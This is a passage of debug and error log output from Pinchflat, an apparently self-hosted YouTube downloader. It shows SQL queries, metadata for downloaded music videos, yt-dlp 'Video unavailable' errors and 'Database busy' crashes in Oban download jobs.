s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:09.425 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=1005.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-03 15:55:14Z], 4] 22:21:09.669 [debug] QUERY OK source="media_items" db=243.1ms idle=1004.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["A mix of Fallen Angel, The Death of God's Will, and Silence, Introspection; similar to something I've done in the past.\n\nI DO NOT OWN ANYTHING IN THIS VIDEO\nAll music was made by Heaven Pierce Her, go buy the album at https://heavenpierceher.bandcamp.com/album/ultrakill-imperfect-hatred\nBuy ULTRAKILL at devilmayquake.com", "The Death Of God's Will (Full Mix + Voice Lines)", "07142e72-ff81-4318-b378-7773a15c78c2", false, "AnLuKx_c7Ds", 536, false, "https://www.youtube.com/watch?v=AnLuKx_c7Ds", 26, "/downloads/Grift/Grift/2022-09-03The Death Of God's Will (Full Mix + Voice Lines)[AnLuKx_c7Ds].m4a", false, false, 4, [], 1, ~U[2022-09-03 15:55:14Z], ~U[2026-07-24 02:21:09Z], ~U[2026-07-24 02:21:09Z], "A mix of Fallen Angel, The Death of God's Will, and Silence, Introspection; similar to something I've done in the past.\n\nI DO NOT OWN ANYTHING IN THIS VIDEO\nAll music was made by Heaven Pierce Her, go buy the album at https://heavenpierceher.bandcamp.com/album/ultrakill-imperfect-hatred\nBuy ULTRAKILL at devilmayquake.com", "The Death Of God's Will (Full Mix + Voice Lines)", "AnLuKx_c7Ds", 536, false, "https://www.youtube.com/watch?v=AnLuKx_c7Ds", "/downloads/Grift/Grift/2022-09-03The Death Of God's Will (Full Mix + Voice Lines)[AnLuKx_c7Ds].m4a", false, 4, ~U[2022-09-03 15:55:14Z]] 22:21:09.669 [debug] QUERY OK source="sources" db=0.2ms idle=738.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:09.670 [debug] QUERY OK source="media_profiles" db=0.2ms idle=246.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:09.670 [debug] QUERY OK source="media_items" db=0.1ms idle=246.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [146] 22:21:09.670 [debug] Current batch of media processed. Will check again in 1000ms 22:21:10.718 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "after dark | sweater weather | slowed | reverb\n\n\n\n☙ i do not own the music or the gif in this video all credits to the original artist/owner ❧\n\n☙ use headphones for a better experience ❧\n\noriginal mashup: cole russo https://www.youtube.com/watch?v=hvL-2TF9bLY", "duration" => 297, "filename" => "/downloads/Grift/Grift/2022-05-01after dark x sweater weather [slowed + reverb][StmnlIJwXeg].m4a", "id" => "StmnlIJwXeg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=StmnlIJwXeg", "playlist_index" => 27, "timestamp" => 1651422596, "title" => "after dark x sweater weather [slowed + reverb]", "upload_date" => "20220501"} 22:21:10.719 [debug] QUERY OK source="sources" db=0.4ms idle=1049.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:21:10.721 [debug] QUERY OK source="sources" db=0.5ms idle=1050.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:10.722 [debug] QUERY OK source="media_items" db=0.6ms queue=0.2ms idle=1050.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-01 16:29:56Z], 4] 22:21:10.841 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=vgldRamTEBI --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/47/de/47de5e8bd30e194540e35c839fe79446dcde7b5e76764eac6bd5a80c5e8b6a7e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] vgldRamTEBI: Video unavailable. This video is not available 22:21:10.841 [error] yt-dlp download error for media item #190: "ERROR: [youtube] vgldRamTEBI: Video unavailable. This video is not available\n" 22:21:10.842 [error] yt-dlp download will not be retried: "ERROR: [youtube] vgldRamTEBI: Video unavailable. This video is not available\n" 22:21:10.843 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=vF9r6CoZgnQ --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/14/b4/14b4883f3c905decdfa5305e3e60338743d7c8b099cbe943916f92d8f3a1aba7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] vF9r6CoZgnQ: Video unavailable. This video is not available 22:21:10.843 [error] yt-dlp download error for media item #194: "ERROR: [youtube] vF9r6CoZgnQ: Video unavailable. This video is not available\n" 22:21:10.844 [error] yt-dlp download will not be retried: "ERROR: [youtube] vF9r6CoZgnQ: Video unavailable. This video is not available\n" 22:21:10.978 [debug] QUERY OK source="media_items" db=255.3ms idle=791.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["after dark | sweater weather | slowed | reverb\n\n\n\n☙ i do not own the music or the gif in this video all credits to the original artist/owner ❧\n\n☙ use headphones for a better experience ❧\n\noriginal mashup: cole russo https://www.youtube.com/watch?v=hvL-2TF9bLY", "after dark x sweater weather [slowed + reverb]", "6b135ccf-1f1f-4600-a82f-6bba81a1bb32", false, "StmnlIJwXeg", 297, false, "https://www.youtube.com/watch?v=StmnlIJwXeg", 27, "/downloads/Grift/Grift/2022-05-01after dark x sweater weather [slowed + reverb][StmnlIJwXeg].m4a", false, false, 4, [], 1, ~U[2022-05-01 16:29:56Z], ~U[2026-07-24 02:21:10Z], ~U[2026-07-24 02:21:10Z], "after dark | sweater weather | slowed | reverb\n\n\n\n☙ i do not own the music or the gif in this video all credits to the original artist/owner ❧\n\n☙ use headphones for a better experience ❧\n\noriginal mashup: cole russo https://www.youtube.com/watch?v=hvL-2TF9bLY", "after dark x sweater weather [slowed + reverb]", "StmnlIJwXeg", 297, false, "https://www.youtube.com/watch?v=StmnlIJwXeg", "/downloads/Grift/Grift/2022-05-01after dark x sweater weather [slowed + reverb][StmnlIJwXeg].m4a", false, 4, ~U[2022-05-01 16:29:56Z]] 22:21:10.979 [debug] QUERY OK source="sources" db=0.1ms idle=256.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:12.849 [debug] QUERY OK source="media_profiles" db=1869.7ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:12.847 [error] Task #PID<0.2996.0> started from #PID<0.2875.0> terminating ** (Exqlite.Error) Database busy UPDATE "oban_jobs" AS o0 SET "state" = ?, "completed_at" = ? WHERE (o0."id" = ?) (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1096: Ecto.Adapters.SQL.raise_sql_call_error/1 (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6 (oban 2.19.4) lib/oban/engines/basic.ex:217: Oban.Engines.Basic.complete_job/2 (oban 2.19.4) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4 (telemetry 1.3.0) /app/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3 (oban 2.19.4) lib/oban/queue/executor.ex:230: Oban.Queue.Executor.ack_event/1 (oban 2.19.4) lib/oban/queue/executor.ex:224: Oban.Queue.Executor.report_finished/1 (oban 2.19.4) lib/oban/queue/executor.ex:84: anonymous fn/1 in Oban.Queue.Executor.call/1 Process Label: Pinchflat.Downloading.MediaDownloadWorker Function: &Oban.Queue.Executor.call/1 Args: [%Oban.Queue.Executor{ack: true, conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Lite, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "pinchflat@pinchflat-69fd9f9b5b-rv7vs", notifier: {Oban.Notifiers.PG, []}, peer: {Oban.Peers.Isolated, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"3 2 * * *", Pinchflat.YtDlp.UpdateWorker}, {"0 1 * * *", Pinchflat.Downloading.MediaRetentionWorker}, {"0 2 * * *", Pinchflat.Downloading.MediaQualityUpgradeWorker}]]}, {Oban.Plugins.Pruner, [max_age: 2592000]}], prefix: false, queues: [default: [limit: 10], fast_indexing: [limit: 2], media_collection_indexing: [limit: 2], media_fetching: [limit: 2], remote_metadata: [limit: 2], local_data: [limit: 8]], repo: Pinchflat.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, error: nil, job: %Oban.Job{__meta__: #Ecto.Schema.Metadata<:loaded, "oban_jobs">, id: 214, state: "executing", queue: "media_fetching", worker: "Pinchflat.Downloading.MediaDownloadWorker", args: %{"id" => 190}, meta: %{}, tags: ["media_item", "media_fetching", "show_in_dashboard"], errors: [], attempt: 1, attempted_by: ["pinchflat@pinchflat-69fd9f9b5b-rv7vs"], max_attempts: 20, priority: 5, attempted_at: ~U[2026-07-24 02:21:06.337687Z], cancelled_at: nil, completed_at: nil, discarded_at: nil, inserted_at: ~U[2026-07-24 02:20:43.000000Z], scheduled_at: ~U[2026-07-24 02:20:43.000000Z], conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Lite, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "pinchflat@pinchflat-69fd9f9b5b-rv7vs", notifier: {Oban.Notifiers.PG, []}, peer: {Oban.Peers.Isolated, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"3 2 * * *", Pinchflat.YtDlp.UpdateWorker}, {"0 1 * * *", Pinchflat.Downloading.MediaRetentionWorker}, {"0 2 * * *", Pinchflat.Downloading.MediaQualityUpgradeWorker}]]}, {Oban.Plugins.Pruner, [max_age: 2592000]}], prefix: false, queues: [default: [limit: 10], fast_indexing: [limit: 2], media_collection_indexing: [limit: 2], media_fetching: [limit: 2], remote_metadata: [limit: 2], local_data: [limit: 8]], repo: Pinchflat.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, conflict?: false, replace: nil, unique: nil, unsaved_error: nil}, meta: %{args: %{"id" => 190}, id: 214, max_attempts: 20, queue: "media_fetching", worker: "Pinchflat.Downloading.MediaDownloadWorker", prefix: false, conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Lite, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "pinchflat@pinchflat-69fd9f9b5b-rv7vs", notifier: {Oban.Notifiers.PG, []}, peer: {Oban.Peers.Isolated, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"3 2 * * *", Pinchflat.YtDlp.UpdateWorker}, {"0 1 * * *", Pinchflat.Downloading.MediaRetentionWorker}, {"0 2 * * *", Pinchflat.Downloading.MediaQualityUpgradeWorker}]]}, {Oban.Plugins.Pruner, [max_age: 2592000]}], prefix: false, queues: [default: [limit: 10], fast_indexing: [limit: 2], media_collection_indexing: [limit: 2], media_fetching: [limit: 2], remote_metadata: [limit: 2], local_data: [limit: 8]], repo: Pinchflat.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, attempt: 1, tags: ["media_item", "media_fetching", "show_in_dashboard"], job: %Oban.Job{__meta__: #Ecto.Schema.Metadata<:loaded, "oban_jobs">, id: 214, state: "executing", queue: "media_fetching", worker: "Pinchflat.Downloading.MediaDownloadWorker", args: %{"id" => 190}, meta: %{}, tags: ["media_item", "media_fetching", "show_in_dashboard"], errors: [], attempt: 1, attempted_by: ["pinchflat@pinchflat-69fd9f9b5b-rv7vs"], max_attempts: 20, priority: 5, attempted_at: ~U[2026-07-24 02:21:06.337687Z], cancelled_at: nil, completed_at: nil, discarded_at: nil, inserted_at: ~U[2026-07-24 02:20:43.000000Z], scheduled_at: ~U[2026-07-24 02:20:43.000000Z], conf: nil, conflict?: false, replace: nil, unique: nil, unsaved_error: nil}}, pid: #PID<0.2875.0>, result: nil, snooze: nil, start_mono: -576459705611973727, start_time: 1784859666670689166, stop_mono: nil, timer: nil, worker: nil, safe: true, duration: 0, kind: :error, queue_time: 0, stacktrace: [], state: :unset}] 22:21:12.847 [error] Task #PID<0.2998.0> started from #PID<0.2875.0> terminating ** (Exqlite.Error) Database busy UPDATE "oban_jobs" AS o0 SET "state" = ?, "completed_at" = ? WHERE (o0."id" = ?) (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1096: Ecto.Adapters.SQL.raise_sql_call_error/1 (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6 (oban 2.19.4) lib/oban/engines/basic.ex:217: Oban.Engines.Basic.complete_job/2 (oban 2.19.4) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4 (telemetry 1.3.0) /app/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3 (oban 2.19.4) lib/oban/queue/executor.ex:230: Oban.Queue.Executor.ack_event/1 (oban 2.19.4) lib/oban/queue/executor.ex:224: Oban.Queue.Executor.report_finished/1 (oban 2.19.4) lib/oban/queue/executor.ex:84: anonymous fn/1 in Oban.Queue.Executor.call/1 Process Label: Pinchflat.Downloading.MediaDownloadWorker Function: &Oban.Queue.Executor.call/1 Args: [%Oban.Queue.Executor{ack: true, conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Lite, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "pinchflat@pinchflat-69fd9f9b5b-rv7vs", notifier: {Oban.Notifiers.PG, []}, peer: {Oban.Peers.Isolated, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"3 2 * * *", Pinchflat.YtDlp.UpdateWorker}, {"0 1 * * *", Pinchflat.Downloading.MediaRetentionWorker}, {"0 2 * * *", Pinchflat.Downloading.MediaQualityUpgradeWorker}]]}, {Oban.Plugins.Pruner, [max_age: 2592000]}], prefix: false, queues: [default: [limit: 10], fast_indexing: [limit: 2], media_collection_indexing: [limit: 2], media_fetching: [limit: 2], remote_metadata: [limit: 2], local_data: [limit: 8]], repo: Pinchflat.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, error: nil, job: %Oban.Job{__meta__: #Ecto.Schema.Metadata<:loaded, "oban_jobs">, id: 215, state: "executing", queue: "media_fetching", worker: "Pinchflat.Downloading.MediaDownloadWorker", args: %{"id" => 194}, meta: %{}, tags: ["media_item", "media_fetching", "show_in_dashboard"], errors: [], attempt: 1, attempted_by: ["pinchflat@pinchflat-69fd9f9b5b-rv7vs"], max_attempts: 20, priority: 5, attempted_at: ~U[2026-07-24 02:21:06.337687Z], cancelled_at: nil, completed_at: nil, discarded_at: nil, inserted_at: ~U[2026-07-24 02:20:43.000000Z], scheduled_at: ~U[2026-07-24 02:20:43.000000Z], conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Lite, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "pinchflat@pinchflat-69fd9f9b5b-rv7vs", notifier: {Oban.Notifiers.PG, []}, peer: {Oban.Peers.Isolated, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"3 2 * * *", Pinchflat.YtDlp.UpdateWorker}, {"0 1 * * *", Pinchflat.Downloading.MediaRetentionWorker}, {"0 2 * * *", Pinchflat.Downloading.MediaQualityUpgradeWorker}]]}, {Oban.Plugins.Pruner, [max_age: 2592000]}], prefix: false, queues: [default: [limit: 10], fast_indexing: [limit: 2], media_collection_indexing: [limit: 2], media_fetching: [limit: 2], remote_metadata: [limit: 2], local_data: [limit: 8]], repo: Pinchflat.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, conflict?: false, replace: nil, unique: nil, unsaved_error: nil}, meta: %{args: %{"id" => 194}, id: 215, max_attempts: 20, queue: "media_fetching", worker: "Pinchflat.Downloading.MediaDownloadWorker", prefix: false, conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Lite, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "pinchflat@pinchflat-69fd9f9b5b-rv7vs", notifier: {Oban.Notifiers.PG, []}, peer: {Oban.Peers.Isolated, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"3 2 * * *", Pinchflat.YtDlp.UpdateWorker}, {"0 1 * * *", Pinchflat.Downloading.MediaRetentionWorker}, {"0 2 * * *", Pinchflat.Downloading.MediaQualityUpgradeWorker}]]}, {Oban.Plugins.Pruner, [max_age: 2592000]}], prefix: false, queues: [default: [limit: 10], fast_indexing: [limit: 2], media_collection_indexing: [limit: 2], media_fetching: [limit: 2], remote_metadata: [limit: 2], local_data: [limit: 8]], repo: Pinchflat.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, attempt: 1, tags: ["media_item", "media_fetching", "show_in_dashboard"], job: %Oban.Job{__meta__: #Ecto.Schema.Metadata<:loaded, "oban_jobs">, id: 215, state: "executing", queue: "media_fetching", worker: "Pinchflat.Downloading.MediaDownloadWorker", args: %{"id" => 194}, meta: %{}, tags: ["media_item", "media_fetching", "show_in_dashboard"], errors: [], attempt: 1, attempted_by: ["pinchflat@pinchflat-69fd9f9b5b-rv7vs"], max_attempts: 20, priority: 5, attempted_at: ~U[2026-07-24 02:21:06.337687Z], cancelled_at: nil, completed_at: nil, discarded_at: nil, inserted_at: ~U[2026-07-24 02:20:43.000000Z], scheduled_at: ~U[2026-07-24 02:20:43.000000Z], conf: nil, conflict?: false, replace: nil, unique: nil, unsaved_error: nil}}, pid: #PID<0.2875.0>, result: nil, snooze: nil, start_mono: -576459705611693095, start_time: 1784859666670969823, stop_mono: nil, timer: nil, worker: nil, safe: true, duration: 0, kind: :error, queue_time: 0, stacktrace: [], state: :unset}] 22:21:12.850 [debug] QUERY OK source="media_items" db=0.5ms queue=0.3ms idle=1870.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [147] 22:21:12.850 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "One of the best final boss themes \n\nSENATOR ARMSTRONG FROM METAL GEAR RISING REVENGEANCE!!!!!\n\n\nLike And Enjoy!!\n\n\n\n\n\nthe content used in this video is not mii property, the song like the characters are the property of their respective konami and collaborators copyright to their respective owners.", "duration" => 304, "filename" => "/downloads/Grift/Grift/2013-10-06Senator Armstrong Theme - It Has To Be This Way - Lyrics[2l0RMGid6vo].m4a", "id" => "2l0RMGid6vo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=2l0RMGid6vo", "playlist_index" => 28, "timestamp" => 1381081064, "title" => "Senator Armstrong Theme - It Has To Be This Way - Lyrics", "upload_date" => "20131006"} 22:21:12.938 [info] {"error":"** (exit) %Exqlite.Error{message: \"Database busy\", statement: \"UPDATE \\\"oban_jobs\\\" AS o0 SET \\\"state\\\" = ?, \\\"completed_at\\\" = ? WHERE (o0.\\\"id\\\" = ?)\"}","args":{"id":190},"id":214,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":6179888,"event":"job:exception","queue_time":23337687,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:21:13.034 [info] {"error":"** (exit) %Exqlite.Error{message: \"Database busy\", statement: \"UPDATE \\\"oban_jobs\\\" AS o0 SET \\\"state\\\" = ?, \\\"completed_at\\\" = ? WHERE (o0.\\\"id\\\" = ?)\"}","args":{"id":194},"id":215,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":6179954,"event":"job:exception","queue_time":23337687,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:21:13.154 [info] {"args":{"id":195},"id":216,"meta":{},"system_time":1784859673154627675,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:21:13.154 [info] {"args":{"id":196},"id":217,"meta":{},"system_time":1784859673154721058,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:21:13.155 [debug] QUERY OK source="media_items" db=0.2ms idle=304.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [195] 22:21:13.155 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:21:13.155 [debug] QUERY OK source="media_items" db=0.4ms idle=216.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [196] 22:21:13.155 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:21:13.155 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=120.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:21:13.156 [debug] QUERY OK source="sources" db=0.3ms idle=1.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", 